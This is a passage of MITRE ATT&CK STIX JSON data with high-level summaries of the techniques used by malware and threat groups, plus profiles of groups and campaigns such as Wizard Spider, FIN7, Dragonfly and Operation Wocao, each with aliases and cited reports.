"2022-10-14T19:40:38.950Z", "description": "[PingPull](https://attack.mitre.org/software/S1031) can use AES, in cipher block chaining (CBC) mode padded with PKCS5, to encrypt C2 server communications.(Citation: Unit 42 PingPull Jun 2022)", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffecf9e6-6966-4535-934f-4fd4696875b0", "type": "relationship", "created": "2020-08-13T16:45:46.972Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Threatpost Hancitor", "url": "https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/", "description": "Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."}, {"source_name": "FireEye Hancitor", "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-09-02T19:54:00.926Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has decoded Base64 encoded URLs to insert a recipient\u2019s name into the filename of the Word document. [Hancitor](https://attack.mitre.org/software/S0499) has also extracted executables from ZIP files.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "PWC Cloud Hopper April 2017", "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL search order hijacking.(Citation: PWC Cloud Hopper April 2017)", "modified": "2022-07-20T20:07:40.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fff3195c-ef40-4e11-b0f3-f1a849b2b316", "created": "2022-07-21T17:01:09.524Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. 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Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-23T20:42:53.462Z", "description": "[ToddyCat](https://attack.mitre.org/groups/G1022) has leveraged  xcopy, 7zip, and RAR to stage and compress collected documents prior to exfiltration.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ffff35dc-3741-4fba-9680-f0fbe321c0b0", "created": "2022-01-27T18:04:46.484Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. 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[Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://attack.mitre.org/groups/G0119) changed their tactics and diversified their toolset.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)", "aliases": ["Indrik Spider", "Evil Corp", "Manatee Tempest", "DEV-0243"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Jennifer Kim Roman, CrowdStrike"], "type": "intrusion-set", "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "created": "2021-01-06T17:46:35.134Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0119", "external_id": "G0119"}, {"source_name": "Evil Corp", "description": "(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)"}, {"source_name": "Manatee Tempest", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "DEV-0243", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Crowdstrike Indrik November 2018", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Crowdstrike EvilCorp March 2021", "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.", "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"}, {"source_name": "Treasury EvilCorp Dec 2019", "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. 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During [C0027](https://attack.mitre.org/campaigns/C0027) [Scattered Spider](https://attack.mitre.org/groups/G1015) used various forms of social engineering, performed SIM swapping, and attempted to leverage access from victim environments to mobile carrier networks.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n", "aliases": ["C0027"], "first_seen": "2022-06-01T04:00:00.000Z", "last_seen": "2022-12-01T05:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "x_mitre_last_seen_citation": "(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "created": "2023-06-30T19:28:30.616Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0027", "external_id": "C0027"}, {"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"modified": "2023-04-17T21:49:16.371Z", "name": "LuminousMoth", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://attack.mitre.org/groups/G1014) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://attack.mitre.org/groups/G1014) and [Mustang Panda](https://attack.mitre.org/groups/G0129) based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)", "aliases": ["LuminousMoth"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["Kyaw Pyiyt Htet, @KyawPyiytHtet", "Zaw Min Htun, @Z3TAE"], "type": "intrusion-set", "id": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "created": "2023-02-23T15:31:38.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1014", "external_id": "G1014"}, {"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. (2021, July 21). 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Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T05:07:13.071Z", "name": "Operation Wocao", "description": "[Operation Wocao](https://attack.mitre.org/campaigns/C0014) was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.(Citation: FoxIT Wocao December 2019)\n\nSecurity researchers assessed the [Operation Wocao](https://attack.mitre.org/campaigns/C0014) actors used similar TTPs and tools as APT20, suggesting a possible overlap. [Operation Wocao](https://attack.mitre.org/campaigns/C0014) was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.(Citation: FoxIT Wocao December 2019)", "aliases": ["Operation Wocao"], "first_seen": "2017-12-01T05:00:00.000Z", "last_seen": "2019-12-01T05:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: FoxIT Wocao December 2019)", "x_mitre_last_seen_citation": "(Citation: FoxIT Wocao December 2019)", "x_mitre_deprecated": false, "x_mitre_version": "1.1", "x_mitre_contributors": ["Erik Schamper, @Schamperr, Fox-IT", "Maarten van Dantzig, @MaartenVDantzig, Fox-IT"], "type": "campaign", "id": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "created": "2022-09-27T14:15:23.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0014", "external_id": "C0014"}, {"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"modified": "2024-04-03T20:21:34.872Z", "name": "Wizard Spider", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse aresenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)", "aliases": ["Wizard Spider", "UNC1878", "TEMP.MixMaster", "Grim Spider", "FIN12", "GOLD BLACKBURN", "ITG23", "Periwinkle Tempest", "DEV-0193"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Edward Millington", "Oleksiy Gayda"], "type": "intrusion-set", "id": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "created": "2020-05-12T18:15:29.396Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0102", "external_id": "G0102"}, {"source_name": "Grim Spider", "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)"}, {"source_name": "UNC1878", "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)"}, {"source_name": "TEMP.MixMaster", "description": "(Citation: FireEye Ryuk and Trickbot January 2019)"}, {"source_name": "ITG23", "description": "(Citation: IBM X-Force ITG23 Oct 2021)"}, {"source_name": "FIN12", "description": "(Citation: Mandiant FIN12 Oct 2021)"}, {"source_name": "Periwinkle Tempest", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "DEV-0193", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "GOLD BLACKBURN", "description": "(Citation: Secureworks Gold Blackburn Mar 2022)"}, {"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"}, {"source_name": "FireEye Ryuk and Trickbot January 2019", "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"}, {"source_name": "CrowdStrike Ryuk January 2019", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"}, {"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}, {"source_name": "Secureworks Gold Blackburn Mar 2022", "description": "Secureworks Counter Threat Unit. (2022, March 1). Gold Blackburn Threat Profile. Retrieved June 15, 2023.", "url": "https://www.secureworks.com/research/threat-profiles/gold-blackburn"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "IBM X-Force ITG23 Oct 2021", "description": "Villadsen, O., et al. (2021, October 13). Trickbot Rising - Gang Doubles Down on Infection Efforts to Amass Network Footholds. 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Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)", "aliases": ["FIN7", "GOLD NIAGARA", "ITG14", "Carbon Spider", "ELBRUS", "Sangria Tempest"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Edward Millington"], "type": "intrusion-set", "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "created": "2017-05-31T21:32:09.460Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0046", "external_id": "G0046"}, {"source_name": "Carbon Spider", "description": "(Citation: CrowdStrike Carbon Spider August 2021)"}, {"source_name": "FIN7", "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)"}, {"source_name": "ELBRUS", "description": "(Citation: Microsoft Ransomware as a Service)"}, {"source_name": "Sangria Tempest", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "GOLD NIAGARA", "description": "(Citation: Secureworks GOLD NIAGARA Threat Profile)"}, {"source_name": "Mandiant FIN7 Apr 2022", "description": "Abdo, B., et al. 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Retrieved August 23, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"}, {"source_name": "Secureworks GOLD NIAGARA Threat Profile", "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara"}, {"source_name": "FireEye FIN7 Shim Databases", "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html"}, {"source_name": "Morphisec FIN7 June 2017", "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. 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Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "FireEye FIN7 March 2017", "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", "url": "https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"}, {"source_name": "IBM Ransomware Trends September 2020", "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.", "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["WIRTE"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Lab52 by S2 Grupo"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "intrusion-set", "id": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "created": "2019-05-24T17:02:44.226Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "G0090", "url": "https://attack.mitre.org/groups/G0090"}, {"source_name": "WIRTE", "description": "(Citation: Lab52 WIRTE Apr 2019)"}, {"source_name": "Lab52 WIRTE Apr 2019", "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/", "description": "S2 Grupo. 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Security researchers linked the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign to possible Chinese-speaking threat actors through the use of the [Chinoxy](https://attack.mitre.org/software/S1041) backdoor and noted infrastructure overlap with the TAG-16 threat group.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: Kaspersky APT Trends Q1 2020)(Citation: Recorded Future Chinese Activity in Southeast Asia December 2021)", "aliases": ["FunnyDream"], "first_seen": "2018-07-01T05:00:00.000Z", "last_seen": "2020-11-01T04:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Kaspersky APT Trends Q1 2020)", "x_mitre_last_seen_citation": "(Citation: Bitdefender FunnyDream Campaign November 2020)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "created": "2022-09-20T17:29:09.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0007", "external_id": "C0007"}, {"source_name": "Kaspersky APT Trends Q1 2020", "description": "Global Research and Analysis Team. (2020, April 30). APT trends report Q1 2020. Retrieved September 19, 2022.", "url": "https://securelist.com/apt-trends-report-q1-2020/96826/"}, {"source_name": "Recorded Future Chinese Activity in Southeast Asia December 2021", "description": "Insikt Group. (2021, December 8). Chinese State-Sponsored Cyber Espionage Activity Supports Expansion of Regional Power and Influence in Southeast Asia. Retrieved September 19, 2022.", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf"}, {"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"modified": "2024-01-08T20:40:31.822Z", "name": "Dragonfly", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)", "aliases": ["Dragonfly", "TEMP.Isotope", "DYMALLOY", "Berserk Bear", "TG-4192", "Crouching Yeti", "IRON LIBERTY", "Energetic Bear", "Ghost Blizzard", "BROMINE"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Dragos Threat Intelligence"], "type": "intrusion-set", "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "created": "2017-05-31T21:32:05.217Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0035", "external_id": "G0035"}, {"source_name": "DYMALLOY", "description": "(Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "Berserk Bear", "description": "(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "TEMP.Isotope", "description": "(Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021)"}, {"source_name": "Ghost Blizzard", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "BROMINE", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Crouching Yeti", "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "IRON LIBERTY", "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "TG-4192", "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "Dragonfly", "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "Energetic Bear", "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"}, {"source_name": "CISA AA20-296A Berserk Bear December 2020", "description": "CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions"}, {"source_name": "DOJ Russia Targeting Critical Infrastructure March 2022", "description": "Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022.", "url": "https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical"}, {"source_name": "Dragos DYMALLOY ", "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.", "url": "https://www.dragos.com/threat/dymalloy/"}, {"source_name": "Fortune Dragonfly 2.0 Sept 2017", "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/"}, {"source_name": "Mandiant Ukraine Cyber Threats January 2022", "description": "Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.", "url": "https://www.mandiant.com/resources/ukraine-crisis-cyber-threats"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Secureworks MCMD July 2019", "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.", "url": "https://www.secureworks.com/research/mcmd-malware-analysis"}, {"source_name": "Secureworks IRON LIBERTY July 2019", "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.", "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector"}, {"source_name": "Secureworks Karagany July 2019", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector"}, {"source_name": "Gigamon Berserk Bear October 2021", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf"}, {"source_name": "Symantec 